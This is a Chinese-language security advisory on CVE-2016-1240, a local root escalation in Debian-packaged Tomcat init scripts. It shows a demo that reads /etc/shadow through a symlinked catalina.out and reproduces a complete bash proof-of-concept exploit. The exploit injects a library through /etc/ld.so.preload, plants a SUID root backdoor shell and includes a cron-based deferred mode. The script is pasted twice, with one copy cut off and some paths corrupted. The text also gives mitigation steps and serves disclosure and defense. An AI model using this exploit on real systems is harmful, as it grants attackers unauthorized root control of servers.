Tomcat 服务本地提权漏洞预警

from:长亭科技订阅号 10月1日,Tomcat爆出了一个本地提权漏洞。通过该漏洞,攻击者可以通过一个低权限的Tomcat用户获得系统的root权限。 **漏洞相关信息** CVE ID:
  • CVE-2016-1240 漏洞原理: 在Debian系统的Linux上管理员通常利用apt-get进行包管理,deb包是Unixar的标准归档,讲包文件信息以及包内容,经过gzip和tar打包而成。 该问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本,该脚本位于/etc/init.d/tomcat*, 跟踪代码如下:
    171  
    
      # Run the catalina.sh script as a daemon
      set +e 

      touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
      chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
      start-stop-daemon --start -b -u "$TOMCAT7_USER" -g "$TOMCAT7_GROUP" \
      -c "$TOMCAT7_USER" -d "$CATALINA_TMPDIR" -p "$CATALINA_PID" \
      -x /bin/bash -- -c "$AUTHBIND_COMMAND $TOMCAT_SH"
      status="$?"  
      set +a -e
    在174行,Tomcat服务在启动时,会将log文件catalina.out的所有者改为Tomcat用户, 而启动脚本通常由root用户调用。如果将catalina.out修改为指向任意文件的链接将会导致攻击者以高权限随意操作任意系统文件。 利用分析: 该漏洞利用难度不大且场景常见,攻击者在上传webshell后拿到Tomcat用户权限,将catalina.out修改为指向 /etc/shadow 的softlink文件,启动脚本运行后,Tomcat用户将对 /etc/shadow 有访问权限,今读取修改root用户密码,测试如下:
    ➜ ~ su tomcat6 -c "head /var/log/tomcat6/catalina.out"
Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFil e WARNING: Problem with directory [/usr/share/tomcat6/common/classes], exists: [fa lse],
    
    isDirectory: [false], canRead: [false]
    
    Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi
    
    le
    
    WARNING: Problem with directory [/usr/share/tomcat6/common], exists: [false], isD
    
    irec
    
    tory: [false], canRead: [false]
    
    Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFil
    
    e
    
    WARNING: Problem with directory [/usr/share/tomcat6/server/classes], exists: [fal
    
    se],
    
    isDirectory: [false], canRead: [false]
    
    Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi
    
    le
    
    WARNING: Problem with directory [/usr/share/tomcat6/server], exists: [false], isD
    
    irec
    
    tory: [false], canRead: [false]
    
    Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi
    
    le
    
    WARNING: Problem with directory [/usr/share/tomcat6/shared/classes], exists: [fal
    
    se],
    
    isDirectory: [false], canRead: [false]
    
    ➜ ~ su tomcat6 -c "ln -fs /etc/shadow /var/log/tomcat6/catalina.out"
    
    ➜ ~ su tomcat6 -c "head /var/log/tomcat6/catalina.out"
head: cannot open '/var/log/tomcat6/catalina.out' for reading: Permission denied
    
    ➜ ~ service tomcat6 start
    
    ➜ ~ su tomcat6 -c "head /var/log/tomcat6/catalina.out" root:$6$RYhPkXbD$6w2cN3u44Q 01gpHPMEjo9fgMXr7..1:16993:0:99999:7::: daemon:*:16911:0:99999:7::: bin:*:16911:0:99999:7:::
sys:*:16911:0:99999:7:::
sync:*:16911:0:99999:7:::
games:*:16911:0:99999:7:::
man:*:16911:0:99999:7:::
lp:*:16911:0:99999:7:::
mail:*:16911:0:99999:7:::
news:*:16911:0:99999:7:::
    
    该漏洞发现者也在报告公开 PoC, 利用也很有趣,作者不甘于单纯的文件操作,巧妙利用获得了一个root权限的shell
    #!/bin/bash
    
     BACKDOORSH="/bin/bash"
    
    BACKDOORPATH="/tmp/tomcatrootsh"
    
    PRIVESCLIB="/tmp/privesclib.so"
    
    PRIVESCSRC="/tmp/privesclib.c"
    
    SUIDBIN="/usr/bin/sudo"
    
    function cleanexit {
    
        # Cleanup
    
        echo -e "\n[+] Cleaning up..."
    
        rm -f $PRIVESCSRC
    
        rm -f $PRIVESCLIB
    
        rm -f $TOMCATLOG
    
        touch $TOMCATLOG
    
        if [ -f /etc/ld.so.preload ]; then
    
            echo -n > /etc/ld.so.preload 2>/dev/null
    
        fi
    
        echo -e "\n[+] Job done. Exiting with code $1 \n"
    
    exit $1 }
    
    function ctrl_c() {
    
            echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred
    
     switch for deferred exploitation."
    
        cleanexit 0
    
    }
    
    #intro
    
    echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Es
    
    calation Exploit\nCVE-2016-1240\n"
    
    echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \03
    
    3[0m"
    
    # Args
    
    if [ $# -lt 1 ]; then
    
        echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
    
    exit 3 fi
    
    if [ "$2" = "-deferred" ]; then
    
        mode="deferred"
    
    else
    
        mode="active"
    
    fi
    
    # Priv check
    
    echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the follow
    
    ing privileges: \n`id`"
    
    id | grep -q tomcat
    
    if [ $? -ne 0 ]; then
    
    echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"
    
    #!/bin/bash
    
     BACKDOORSH="/bin/bash"
    
    BACKDOORPATH=”/TMP/tomcatrootsh
    
    PRIVESCLIB="/tmp/privesclib.so"
    
    PRIVESCSRC="/tmp/privesclib.c"
    
    SUIDBIN="/usr/bin/sudo"
    
    function cleanexit {
    
        # Cleanup
    
        echo -e "\n[+] Cleaning up..."
    
        rm -f $PRIVESCSRC
    
        rm -f $PRIVESCLIB
    
        rm -f $TOMCATLOG
    
        touch $TOMCATLOG
    
        if [ -f /etc/ld.so.preload ]; then
    
            echo -n > /etc/ld.so.preload 2>/dev/null
    
        fi
    
        echo -e "\n[+] Job done. Exiting with code $1 \n"
    
    exit $1 }
    
    function ctrl_c() {
    
            echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred
    
     switch for deferred exploitation."
    
        cleanexit 0
    
    }
    
    #intro
    
    echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Es
    
    calation Exploit\nCVE-2016-1240\n"
    
    echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \03
    
    3[0m"
    
    # Args
    
    if [ $# -lt 1 ]; then
    
        echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
    
    exit 3 fi
    
    if [ "$2" = "-deferred" ]; then
    
        mode="deferred"
    
    else
    
        mode="active"
    
    fi
    
    # Priv check
    
    echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the follow
    
    ing privileges: \n`id`"
    
    id | grep -q tomcat
    
    if [ $? -ne 0 ]; then
    
    echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"
    
    exit 3
    
    fi
    
    # Set target paths
    
    TOMCATLOG="$1"
    
    if [ ! -f $TOMCATLOG ]; then
    
        echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exis
    
    t. Try again.\n"
    
    exit 3 fi
    
    echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG"
    
    # [ Deferred exploitation ]
    
    # Symlink the log file to /etc/default/locale file which gets executed daily on de
    
    fault
    
    # tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation
    
     cronjob around 6:25am.
    
    # Attackers can freely add their commands to the /etc/default/locale script after
    
    Tomcat has been
    
    # restarted and file owner gets changed.
    
    if [ "$mode" = "deferred" ]; then
    
        rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG
    
        if [ $? -ne 0 ]; then
    
            echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
    
            cleanexit 3
    
        fi
    
        echo -e  "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
    
        echo -e  "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale
    
    `"
    
        echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After
    
     the Tomcat restart / system reboot"
    
        echo -ne "\n    you'll be able to add arbitrary commands to the file which wil
    
    l get executed with root privileges"
    
        echo -ne "\n    at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. S
    
    ee also -active mode if you can't wait ;)\n\n"
    
    exit 0 fi
    
    # [ Active exploitation ]
    
    trap ctrl_c INT
    
    # Compile privesc preload library
    
    echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
    
    cat <<_solibeof_>$PRIVESCSRC
    
    #define _GNU_SOURCE
    
    #include <stdio.h>
    
    #include <sys/stat.h>
    
    #include<unistd.h>
    
    #include <dlfcn.h>
    
    uid_t geteuid(void) {
    
        static uid_t  (*old_geteuid)();
    
        old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    
        if ( old_geteuid() == 0 ) {
    
            chown("$BACKDOORPATH", 0, 0);
    
            chmod("$BACKDOORPATH", 04777);
    
            unlink("/etc/ld.so.preload");
    
    }
    
        return old_geteuid();
    
    }
    
    _solibeof_
    
    gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl
    
    if [ $? -ne 0 ]; then
    
        echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
    
        cleanexit 2;
    
    fi
    
    # Prepare backdoor shell
    
    cp $BACKDOORSH $BACKDOORPATH
    
    echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
    
    # Safety check
    
    if [ -f /etc/ld.so.preload ]; then
    
        echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
    
        cleanexit 2
    
    fi
    
    # Symlink the log file to ld.so.preload
    
    rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG
    
    if [ $? -ne 0 ]; then
    
        echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
    
        cleanexit 3
    
    fi
    
    echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
    
    # Wait for Tomcat to re-open the logs
    
    echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."
    
    echo -e  "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat
    
    user) if needed ;)"
    
    while :; do
    
        sleep 0.1
    
        if [ -f /etc/ld.so.preload ]; then
    
            echo $PRIVESCLIB > /etc/ld.so.preload
    
    break; fi
    
    done
    
     # /etc/ld.so.preload file should be owned by tomcat user at this point
    
     # Inject the privesc.so shared library to escalate privileges
    
     echo $PRIVESCLIB > /etc/ld.so.preload
    
     echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomc
    
     at privileges: \n`ls -l /etc/ld.so.preload`"
    
     echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
    
     echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload
    
     `"
    
     # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
    
     echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
    
     sudo --help 2>/dev/null >/dev/null
    
     # Check for the rootshell
    
     ls -l $BACKDOORPATH | grep rws | grep -q root
    
     if [ $? -eq 0 ]; then
    
         echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPA
    
     TH`"
    
         echo -e "\n\033[94mPlease tell me you're seeing this too ;) \033[0m"
    
     else
    
         echo -e "\n[!] Failed to get root"
    
         cleanexit 2
    
     fi
    
     # Execute the rootshell
    
     echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"
    
     $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
    
     $BACKDOORPATH -p
    
     # Job done.
    
     cleanexit 0
     
    可以看到,PoC中主要的几个流程, 首先利用Tomcat启动脚本chown的缺陷把/etc/ld_preload.so变成有权限改写,然后加入自己的ldpreload,最后在自己的ldpreload里面给backdoor加上setuid权限,这样Tomcat重启以后backdoor就是root权限带suid了。 影响范围: deb打包的所有Tomcat6/7/8等版本均受到影响 应急修复方案: 1.临时修复建议 若担心更新有兼容问题,可更改Tomcat的启动脚本为 chown -h $TOMCAT6_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out 加入 - h参数防止其他文件所有者被更改。   2. 更新最新Tomcat包 Debian安全小组已经在第一时间修复了受影响的Tomcat上游包,直接更新发行版提供的Tomcat即可。
  • 发表评论